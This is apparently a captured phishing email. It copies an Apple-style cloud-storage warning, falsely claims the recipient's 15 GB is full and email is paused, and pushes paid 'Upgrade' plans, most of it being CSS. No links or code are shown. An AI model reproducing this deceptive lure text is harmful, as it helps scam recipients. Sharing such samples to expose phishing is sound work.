Sujet: Your storage is full. Restore your inbox and file sync now.
De: Account Security
Date: 10 juillet 2026 à 13:00
<!DOCTYPE html>
Storage Limit Reached — Select an Upgrade Plan
/* ----- MODERN RESET & BASE (CUPERTINO STYLE) ----- */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #F5F5F7; /* Apple system gray background */
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
color: #1D1D1F;
line-height: 1.4;
padding: 32px 20px;
}
/* main card container */
.card-container {
max-width: 680px;
margin: 0 auto;
background-color: #FFFFFF;
border-radius: 28px;
box-shadow: 0 8px 28px rgba(0, 0, 0, 0.04), 0 0 0 0.5px rgba(0, 0, 0, 0.02);
overflow: hidden;
transition: all 0.2s ease;
}
/* inner spacing */
.card-inner {
padding: 32px 32px 40px;
}
/* ----- HEADER & LOGO ----- */
.logo-area {
text-align: center;
margin-bottom: 20px;
}
.logo {
display: inline-flex;
align-items: center;
font-size: 22px;
font-weight: 600;
letter-spacing: -0.3px;
color: #1D1D1F;
gap: 8px;
}
.logo-icon {
font-size: 32px;
line-height: 1;
}
/* hero warning */
.hero {
text-align: center;
margin: 12px 0 8px;
}
.hero-title {
font-size: 32px;
font-weight: 700;
letter-spacing: -0.02em;
color: #1D1D1F;
margin-bottom: 12px;
}
.hero-subtitle {
font-size: 16px;
color: #6E6E73;
max-width: 480px;
margin: 0 auto;
line-height: 1.45;
}
/* progress bar section */
.storage-section {
margin: 32px 0 24px;
}
.storage-meta {
display: flex;
justify-content: space-between;
font-size: 13px;
font-weight: 500;
margin-bottom: 8px;
}
.storage-label {
color: #1D1D1F;
}
.storage-used {
color: #86868B;
font-weight: 400;
}
.progress-track {
background-color: #E5E5EA;
border-radius: 10px;
height: 8px;
overflow: hidden;
}
.progress-bar {
background-color: #FF3B30; /* warning red */
width: 100%; /* full capacity used: 15GB / 15GB */
height: 8px;
border-radius: 10px;
}
/* plans grid (modern flex/grid replacement, fully responsive) */
.plans-grid {
display: flex;
flex-wrap: wrap;
gap: 20px;
margin: 32px 0 28px;
}
.plan-card {
flex: 1 1 0;
min-width: 150px;
background: #FFFFFF;
border: 1px solid #D2D2D7;
border-radius: 20px;
padding: 24px 16px 20px;
text-align: center;
transition: transform 0.2s ease, box-shadow 0.2s;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.02);
}
.plan-card.featured {
border: 2px solid #007AFF;
background: #FBFBFF;
box-shadow: 0 6px 14px rgba(0, 122, 255, 0.08);
}
.plan-emoji {
font-size: 40px;
display: block;
margin-bottom: 12px;
}
.plan-size {
font-size: 24px;
font-weight: 700;
letter-spacing: -0.3px;
color: #1D1D1F;
margin-bottom: 8px;
}
.plan-desc {
font-size: 13px;
color: #6E6E73;
margin-bottom: 24px;
line-height: 1.4;
min-height: 52px;
padding: 0 4px;
}
.plan-btn {
display: inline-block;
width: 100%;
background-color: #007AFF;
color: white !important;
font-size: 14px;
font-weight: 590;
padding: 10px 12px;
border-radius: 12px;
text-decoration: none;
transition: all 0.2s;
box-sizing: border-box;
text-align: center;
}
.plan-btn.outline {
background-color: #F5F5F7;
color: #007AFF !important;
border: 1px solid #E5E5EA;
}
.plan-btn:hover {
opacity: 0.85;
transform: scale(0.98);
}
.plan-btn.outline:hover {
background-color: #EBEBEF;
}
/* callout note */
.upgrade-note {
background-color: #F9F9FB;
border-radius: 18px;
padding: 18px 20px;
margin: 16px 0 28px;
text-align: center;
border: 1px solid #EFEFF4;
}
.upgrade-note p {
font-size: 13px;
color: #5E5E64;
line-height: 1.45;
margin: 0;
}
/* footer */
.footer-area {
text-align: center;
margin-top: 16px;
border-top: 1px solid #EFEFF4;
padding-top: 28px;
}
.footer-icon {
font-size: 28px;
margin-bottom: 12px;
opacity: 0.7;
}
.footer-text {
font-size: 12px;
color: #86868B;
margin: 6px 0;
}
.footer-link {
color: #007AFF;
text-decoration: none;
font-size: 12px;
}
.footer-link:hover {
text-decoration: underline;
}
/* responsive: stack cards on mobile */
@media (max-width: 660px) {
body {
padding: 16px 12px;
}
.card-inner {
padding: 24px 20px 32px;
}
.hero-title {
font-size: 28px;
}
.hero-subtitle {
font-size: 15px;
}
.plans-grid {
flex-direction: column;
gap: 16px;
}
.plan-card {
width: 100%;
}
.plan-desc {
min-height: auto;
}
.storage-section {
margin: 24px 0 16px;
}
}
/* extra polish for very small devices */
@media (max-width: 480px) {
.card-inner {
padding: 20px 16px 28px;
}
.plan-size {
font-size: 22px;
}
}
/* accessibility & smooth */
a, button {
cursor: pointer;
}
.plan-btn:focus-visible {
outline: 2px solid #007AFF;
outline-offset: 2px;
border-radius: 12px;
}
<!-- header with cloud icon -->
â˜ï¸
Cloud Drive
<!-- warning & hero message -->
Your storage is full.
You have run out of space. You can't back up new data, and sending or receiving emails is currently paused.
<!-- storage usage bar (full) -->
Storage
15 GB of 15 GB Used
<!-- 3 upgrade plans (cards as flexible grid) -->
<!-- PLAN 1: 50 GB - basic -->
ðŸ“
50 GB
Essential space for your photos and emails.
Upgrade
<!-- PLAN 2: 200 GB - FEATURED (recommended) -->
🚀
200 GB
Plenty of room for all your devices.
Upgrade
<!-- PLAN 3: 2 TB - pro -->
💎
Original post
